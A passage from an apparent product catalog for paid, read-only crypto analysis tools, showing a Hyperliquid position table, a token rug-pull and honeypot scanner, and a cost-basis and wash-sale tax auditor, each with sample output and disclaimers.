distance | funding since open | funding all-time | |---|---|---|---|---|---|---|---|---|---|---|---|---|---|---| | 0x31ca..974b | kPEPE | LONG | 15,726,813 | $71,022 | 0.00440000 | 0.00451600 | $1,817 | +52.5% | cross 20x | 0.02x | n/a | n/a | $202.96 | -$62,097.00 | | 0x31ca..974b | PONS | LONG | 256,256 | $65,496 | 0.247888 | 0.255590 | $1,974 | +62.1% | cross 20x | 0.02x | n/a | n/a | $1,131.57 | $1,063.14 | | 0x0104..703a | PONS | SHORT | -252,690 | $64,585 | 0.245800 | 0.255590 | -$2,474 | -79.7% | cross 20x | 0.02x | 12.2440 | 4690.50% ($11.99) | -$1,131.96 | -$1,087.04 | | 0x0104..703a | kPEPE | SHORT | -14,046,849 | $63,436 | 0.00438800 | 0.00451600 | -$1,786 | -57.9% | cross 20x | 0.02x | 0.220177 | 4775.49% ($0.22) | -$173.16 | -$74,965.13 | | 0x0104..703a | MEGA | LONG | 1,262,896 | $62,641 | 0.046565 | 0.049601 | $3,833 | +130.4% | cross 20x | 0.02x | n/a | n/a | $1,431.21 | $1,229.63 | | 0x0104..703a | CELO | SHORT | -769,583 | $62,334 | 0.080066 | 0.080997 | -$716 | -23.2% | cross 20x | 0.02x | 4.0174 | 4859.89% ($3.94) | -$1,042.34 | -$5,218.21 | | 0x31ca..974b | MEGA | SHORT | -1,247,724 | $61,888 | 0.046705 | 0.049601 | -$3,613 | -124.0% | cross 20x | 0.02x | 2.4402 | 4819.69% ($2.39) | -$1,529.29 | -$1,559.63 | | 0x31ca..974b | *BTC | SHORT | -0.76208 | $61,654 | 80,248.50 | 80,902.00 | -$498 | -16.3% | cross 20x | 0.02x | 3,994,963.11 | 4838.03% ($3,914,061.11) | -$776.72 | $166,231.51 | | 0x31ca..974b | LDO | SHORT | -164,327.4 | $61,352 | 0.373710 | 0.373390 | $60 | +2.0% | cross 20x | 0.02x | 18.5251 | 4861.32% ($18.15) | -$1,502.35 | -$39,787.25 | | 0x0104..703a | *BTC | LONG | 0.74854 | $60,558 | 80,297.20 | 80,902.00 | $453 | +15.1% | cross 20x | 0.02x | n/a | n/a | $743.19 | -$612,254.62 | | 0x0104..703a | LDO | LONG | 160,311.5 | $59,852 | 0.373870 | 0.373390 | -$83 | -2.8% | cross 20x | 0.02x | n/a | n/a | $1,133.45 | -$55,694.66 | | 0x31ca..974b | CRV | SHORT | -176,209.2 | $59,383 | 0.340330 | 0.337030 | $588 | +19.6% | cross 20x | 0.02x | 17.2648 | 5022.62% ($16.93) | -$1,342.03 | $1,157.36 | | 0x31ca..974b | APEX | SHORT | -260,837 | $58,973 | 0.224169 | 0.226090 | -$501 | -17.1% | cross 20x | 0.02x | 11.6617 | 5057.99% ($11.44) | -$5,192.82 | -$2,788.50 | | 0x31ca..974b | CELO | LONG | 724,745 | $58,702 | 0.079908 | 0.080997 | $789 | +27.3% | cross 20x | 0.02x | n/a | n/a | $869.27 | $2,222.17 | | 0x0104..703a | CRV | LONG | 173,790.1 | $58,567 | 0.340160 | 0.337030 | -$549 | -18.6% | cross 20x | 0.02x | n/a | n/a | $1,190.28 | -$5,867.07 | ## Findings (no findings) exit_code 0 > SCOPE_NOTE: Strictly read-only, keyless and non-custodial: the only network call is the public, unauthenticated POST https://api.hyperliquid.xyz/info endpoint (metaAndAssetCtxs, predictedFundings, clearinghouseState, spotClearinghouseState, frontendOpenOrders, vaultDetails) or an --offline fixture. It never calls /exchange, never places, cancels or modifies orders, never signs or broadcasts orders, withdrawals or transfers, and never accepts private keys, API wallet keys, seed phrases, WIF/xprv or API tokens. Liquidation prices are point-in-time clearinghouse estimates that shift with mark price, funding payments and cross-margin PnL of other positions; funding, basis and predicted cross-venue rates change every hour and "no findings" never means "safe". No financial, trading, leverage or investment advice. Refuses: secret/key input, order placement or signing, and targeting third-party accounts for liquidation hunting or exploitation. ``` ## Wave 3 - token-rugscore ($29 in SOL, one-time; LIVE NOW, instant on-chain SOL checkout) - **SKU:** `token-rugscore` - **Name:** Cross-Chain Token RugScore & Honeypot Scanner - **Page:** https://coinloader.com/bots/token-rugscore.html - **Skills:** `token-rugscore-setup`, `token-rugscore` - **Runtime:** https://coinloader.com/runtime/token_rugscore.py (SHA-256 `2f8190fa27904d2ebd67606bea6290f39048c7ab77a6557440fc8ff67a1d363f`; standalone zero-dependency Python 3.10+ CLI) + https://coinloader.com/runtime/bot_common.py (SHA-256 `dbbd8521357fedc348cf7dc102435d4412ea26487e08bf067038ba8c66c9bcd1`) - **Bundles:** also included at no extra cost in `defi-wallet-security-pack` ($59) and `pro-trader-perps-suite` ($69) - **Summary:** Audit Solana SPL/Token-2022 mints and Ethereum, Base & Arbitrum contracts with a deterministic 0-100 RugScore. Check mint/freeze authority, proxies & liquidity. - **Capabilities:** - Solana rules `RS-SOL-01..05`: active mint authority, active freeze authority, Token-2022 extension traps (`PermanentDelegate`, `TransferHook`, `TransferFeeConfig`, frozen `DefaultAccountState`), top-holder concentration, DEX liquidity depth and pair age. - EVM rules `RS-EVM-01..04` (`eth`, `base`, `arb`): EIP-1967 / EIP-1822 / EIP-1167 proxy admin and EOA control, `SELFDESTRUCT` / unexpected `DELEGATECALL` opcode traps, Sourcify source verification, liquidity. - Deterministic scoring: fixed weights summed and capped at 100; same input and chain data produce the same score and `audit_sha256`. - CI/CD friendly: `--json` / `--markdown`, risk-tier exit codes, 1200x675 PNG audit receipts. - **Boundaries:** - Strictly read-only: never asks for private keys or seed phrases; never builds, signs or broadcasts a transaction. - Never labels a token "safe", "audited" or "rug-proof"; a low RugScore only means no listed rule fired. Not financial or security-certification advice. ### Verbatim sample output ``` snapshot 2026-10-28 09:14:22 UTC | tool=token_rugscore v1.0 | sample=fictional target sol:RugDemo7Qk2mVxN4pLwT8cYhB5eJ3aRsZf9uXoGd1HtKq (fictional test mint) program Token-2022 (TokenzQdBNbLqP5VEhdkAS6EPFLC1PHnBqCXEpPxuEb) supply 1,000,000,000.000000 decimals=6 mint.auth Fz3p...Q8xA [ACTIVE] freeze.auth none [REVOKED] extensions TransferHook(program=Hk4m...n2Wd) TransferFeeConfig(250 bps) MetadataPointer holders top1=18.4% top10=62.7% top20=74.1% (excl. LP/burn) liquidity $8,420 (Raydium CPMM, 24h vol $1,930) pair_age=3d rules [HIGH ] RS-SOL-01 +25 MINT_AUTHORITY_ACTIVE: issuer can mint unlimited supply [INFO ] RS-SOL-02 +0 FREEZE_AUTHORITY_REVOKED [MEDIUM ] RS-SOL-03 +20 TOKEN2022_TRANSFER_HOOK: custom program runs on every transfer (sellability not provable from account data) [MEDIUM ] RS-SOL-04 +15 HOLDER_CONCENTRATION: top10 hold 62.7% of circulating supply [MEDIUM ] RS-SOL-05 +12 THIN_LIQUIDITY: $8,420 pool depth, pair younger than 7d RugScore 72/100 tier=HIGH rules_fired=4/5 target base:0x4fA1c9e07B2d83Ae5C6f10D9b3E7a42c88D5e0b1 (fictional test contract) bytecode 2411 bytes proxy=EIP-1967 impl 0x9Be3d1A06c47F2e85a0b3C1D7e49fA82b6D0c5E3 (11874 bytes, verified=yes, Sourcify exact_match) admin 0x2c7D...91aF [EOA] opcodes impl: SELFDESTRUCT=yes DELEGATECALL=no liquidity $412,880 (Uniswap v3 WETH/TKN 0.3%) rules [HIGH ] RS-EVM-01 +20 PROXY_EOA_ADMIN: one key can replace the implementation [MEDIUM ] RS-EVM-02 +10 OPCODE_SELFDESTRUCT: implementation contains SELFDESTRUCT (heuristic) [INFO ] RS-EVM-03 +0 SOURCE_VERIFIED [INFO ] RS-EVM-04 +0 LIQUIDITY_ADEQUATE RugScore 30/100 tier=MODERATE rules_fired=2/4 audit_sha256 272f48c9ed521065954a0aba7759ef54a6489bb86008a6400bd4197469d2c39a exit_code 2 SCOPE_NOTE: Read-only on-chain and public-API inspection. No private keys, seed phrases or signing; no transaction is built or broadcast. A RugScore is a deterministic sum of fixed rules, not a verdict: a low score does not mean a token is safe, and a high score is not proof of fraud. Not financial, investment or security-certification advice. ``` ## Wave 3 - cost-basis-ledger ($29 in SOL, one-time; LIVE NOW, instant on-chain SOL checkout) - **SKU:** `cost-basis-ledger` - **Name:** Multi-Chain Cost-Basis, Wash-Sale & Tax Lot Auditor - **Page:** https://coinloader.com/bots/cost-basis-ledger.html - **Skills:** `cost-basis-ledger-setup`, `cost-basis-ledger` - **Runtime:** https://coinloader.com/runtime/cost_basis_ledger.py (SHA-256 `87c41f7e0b287d9ea64765e1fe6872ab72950474e156673fa0752ff4031a4824`; standalone zero-dependency Python 3 CLI) + https://coinloader.com/runtime/bot_common.py (SHA-256 `dbbd8521357fedc348cf7dc102435d4412ea26487e08bf067038ba8c66c9bcd1`) - **Summary:** FIFO, LIFO & HIFO crypto cost-basis across Solana, EVM and Bitcoin: Form 8949 / Schedule D rows, short- vs long-term gains, wash-sale risk, fee basis adjustments and a deterministic audit_sha256. - **Capabilities:** - Lot matching `--method fifo|lifo|hifo`; short-term (< 365 days) vs long-term (>= 365 days) gains per `--tax-year`. - Form 8949 / Schedule D rows: `asset`, `date_acquired`, `date_sold`, `proceeds_usd`, `cost_basis_usd`, `fee_adjustment_usd`, `gain_loss_usd`, `term`, `wash_sale_flag`, `wash_disallowed_usd`, `lot_id`; `--csv-out` exports them. - Rules `CB-WASH-01`, `CB-FEE-01`, `CB-LOT-01`, `CB-HIFO-01`, `CB-STLT-01`; deterministic `audit_sha256`. - **Boundaries:** - Strictly read-only: never asks for private keys or seed phrases; never signs or broadcasts a transaction. - Not tax, legal or financial advice; the sample below is the real output of the offline `--demo` ledger. ### Verbatim sample output ``` snapshot 2026-10-28 UTC | tool=cost_basis_ledger v1.0.0 | source=--demo (offline sample ledger) subject demo-multichain-2026 method=FIFO tax_year=2026 fee_deduction=on form 8949 / schedule D rows ASSET ACQUIRED SOLD PROCEEDS BASIS FEE_ADJ GAIN/LOSS TERM WASH LOT ETH 2025-02-10 2026-02-14 19,800.00 15,900.00 42.50 3,857.50 LONG - ETH-A SOL 2025-06-12 2026-03-03 16,800.00 18,600.00 5.36 -1,805.36 SHORT YES 1,354.02 SOL-A BTC 2025-01-20 2026-04-22 44,800.00 41,600.00 35.40 3,164.60 LONG - BTC-A JUP 2025-11-30 2026-05-19 2,700.00 0.00 1.10 2,698.90 SHORT - JUP-AIRDROP SOL 2025-06-12 2026-08-01 5,250.00 4,650.00 1.39 598.61 LONG - SOL-A SOL 2026-01-08 2026-08-01 12,250.00 14,700.00 3.43 -2,453.43 SHORT - SOL-B ETH 2025-02-10 2026-08-05 9,200.00 5,300.00 15.00 3,885.00 LONG - ETH-A ETH 2025-09-05 2026-08-05 9,200.00 8,600.00 25.00 575.00 SHORT - ETH-B total_proceeds_usd 120,000.00 total_cost_basis_usd 109,350.00 short_term_gain_usd 369.13 long_term_gain_usd 11,505.71 wash_disallowed_usd 1,354.02 (added back to the reported loss) net_realized_pnl_usd 11,874.84 rules [CRITICAL] CB-WASH-01 +30 1 loss disposition(s) have a same-asset rebuy within 30 days; $1,354.02 of losses at risk of disallowance [INFO ] CB-FEE-01 +0 $129.18 of gas/network fees applied to basis/proceeds [CRITICAL] CB-LOT-01 +35 1 disposition(s) matched zero-basis or missing lots; the full proceeds may be taxed as gain [WARN ] CB-HIFO-01 +10 HIFO would cut illustrative tax by $229.24 vs FIFO [WARN ] CB-STLT-01 +10 1 short-term gain(s) sold 31+ day(s) before the long-term threshold AuditScore 85/100 tier=CRITICAL method comparison (illustrative 32% short / 15% long) FIFO net_pnl= 11,874.84 est_tax= 1,843.98 LIFO net_pnl= 16,794.27 est_tax= 2,519.14 HIFO net_pnl= 10,764.95 est_tax= 1,614.74 audit_sha256 ae360f7f49a65271b5fa12e8279ef7c2fd3d29b4c90eccbc19ea7b30ada0da03 receipt_verification UNVERIFIED-LOCAL (no active wcl_ license in this sample run) SCOPE_NOTE: Deterministic lot-matching audit of the transactions supplied; not tax, legal or financial advice. Wash-sale treatment of digital assets is unsettled, so CB-WASH-01 is a risk flag, not a ruling. Holding-period and rate assumptions are illustrative. Confirm with a qualified tax professional. ```